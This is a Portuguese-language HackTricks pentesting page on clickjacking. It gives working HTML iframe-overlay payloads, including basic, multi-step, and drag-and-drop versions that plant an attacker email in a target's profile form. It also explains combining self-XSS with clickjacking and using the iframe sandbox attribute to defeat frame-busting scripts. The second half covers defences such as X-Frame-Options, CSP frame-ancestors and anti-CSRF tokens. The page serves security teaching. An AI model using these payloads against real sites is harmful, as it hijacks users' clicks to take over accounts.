hacktricks/pentesting-web/clickjacking.md

229 lines
12 KiB
Markdown

# Clickjacking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_term=trickest\&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
## O que é Clickjacking
Em um ataque de clickjacking, um **usuário** é **enganado** a **clicar** em um **elemento** em uma página da web que é **invisível** ou disfarçado como um elemento diferente. Essa manipulação pode levar a consequências indesejadas para o usuário, como o download de malware, redirecionamento para páginas da web maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou a compra online de produtos.
### Truque de pré-preenchimento de formulários
Às vezes, é possível **preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página**. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.
### Preencher formulário com Arrastar&Soltar
Se você precisa que o usuário **preencha um formulário**, mas não quer pedir diretamente que ele escreva algumas informações específicas (como o e-mail e ou senha específica que você conhece), você pode apenas pedir que ele **Arraste&Solte** algo que escreverá seus dados controlados, como neste [**exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Carga Básica
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Payload de Múltiplas Etapas
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Drag\&Drop + Click payload
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
Se você identificou um **ataque XSS que requer que um usuário clique** em algum elemento para **ativar** o XSS e a página é **vulnerável a clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.\
Exemplo:\
&#xNAN;_&#x59;ou encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** a **Clickjacking** e você pode **preencher** o **formulário** com os parâmetros GET._\
\_\_Um atacante poderia preparar um **ataque Clickjacking** para essa página **preenchendo** o **formulário** com a **carga útil XSS** e **enganando** o **usuário** a **enviar** o formulário. Assim, **quando o formulário é enviado** e os valores são modificados, o **usuário executará o XSS**.
## Estratégias para Mitigar Clickjacking
### Defesas do Lado do Cliente
Scripts executados no lado do cliente podem realizar ações para prevenir Clickjacking:
* Garantir que a janela da aplicação seja a principal ou a janela superior.
* Tornar todos os frames visíveis.
* Prevenir cliques em frames invisíveis.
* Detectar e alertar os usuários sobre possíveis tentativas de Clickjacking.
No entanto, esses scripts de quebra de frame podem ser contornados:
* **Configurações de Segurança dos Navegadores:** Alguns navegadores podem bloquear esses scripts com base em suas configurações de segurança ou falta de suporte a JavaScript.
* **Atributo `sandbox` do iframe HTML5:** Um atacante pode neutralizar scripts de quebra de frame definindo o atributo `sandbox` com valores `allow-forms` ou `allow-scripts` sem `allow-top-navigation`. Isso impede que o iframe verifique se é a janela superior, e.g.,
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Os valores `allow-forms` e `allow-scripts` permitem ações dentro do iframe enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como `allow-same-origin` e `allow-modals` podem ser necessárias, dependendo do tipo de ataque. Mensagens do console do navegador podem guiar quais permissões permitir.
### Defesas do Lado do Servidor
#### X-Frame-Options
O **cabeçalho de resposta HTTP `X-Frame-Options`** informa aos navegadores sobre a legitimidade de renderizar uma página em um `<frame>` ou `<iframe>`, ajudando a prevenir Clickjacking:
* `X-Frame-Options: deny` - Nenhum domínio pode emoldurar o conteúdo.
* `X-Frame-Options: sameorigin` - Somente o site atual pode emoldurar o conteúdo.
* `X-Frame-Options: allow-from https://trusted.com` - Somente o 'uri' especificado pode emoldurar a página.
* Note as limitações: se o navegador não suportar esta diretiva, pode não funcionar. Alguns navegadores preferem a diretiva CSP frame-ancestors.
#### Diretiva frame-ancestors da Content Security Policy (CSP)
A **diretiva `frame-ancestors` na CSP** é o método recomendado para proteção contra Clickjacking:
* `frame-ancestors 'none'` - Semelhante a `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Semelhante a `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Semelhante a `X-Frame-Options: allow-from`.
Por exemplo, a seguinte CSP permite apenas emolduramento do mesmo domínio:
`Content-Security-Policy: frame-ancestors 'self';`
Mais detalhes e exemplos complexos podem ser encontrados na [documentação frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e na [documentação frame-ancestors da Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Content Security Policy (CSP) com `child-src` e `frame-src`
A **Content Security Policy (CSP)** é uma medida de segurança que ajuda a prevenir Clickjacking e outros ataques de injeção de código, especificando quais fontes o navegador deve permitir para carregar conteúdo.
#### Diretiva `frame-src`
* Define fontes válidas para frames.
* Mais específica do que a diretiva `default-src`.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Esta política permite frames da mesma origem (self) e https://trusted-website.com.
#### Diretriz `child-src`
* Introduzida no CSP nível 2 para definir fontes válidas para web workers e frames.
* Funciona como um fallback para frame-src e worker-src.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.
**Notas de Uso:**
* Depreciação: child-src está sendo descontinuado em favor de frame-src e worker-src.
* Comportamento de Fallback: Se frame-src estiver ausente, child-src é usado como um fallback para frames. Se ambos estiverem ausentes, default-src é usado.
* Definição Estrita de Fonte: Inclua apenas fontes confiáveis nas diretrizes para evitar exploração.
#### Scripts de Quebra de Frame em JavaScript
Embora não sejam completamente infalíveis, scripts de quebra de frame baseados em JavaScript podem ser usados para evitar que uma página da web seja emoldurada. Exemplo:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Empregando Tokens Anti-CSRF
* **Validação de Token:** Use tokens anti-CSRF em aplicações web para garantir que solicitações que alteram o estado sejam feitas intencionalmente pelo usuário e não através de uma página Clickjacked.
## Referências
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_term=trickest\&utm_content=clickjacking) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}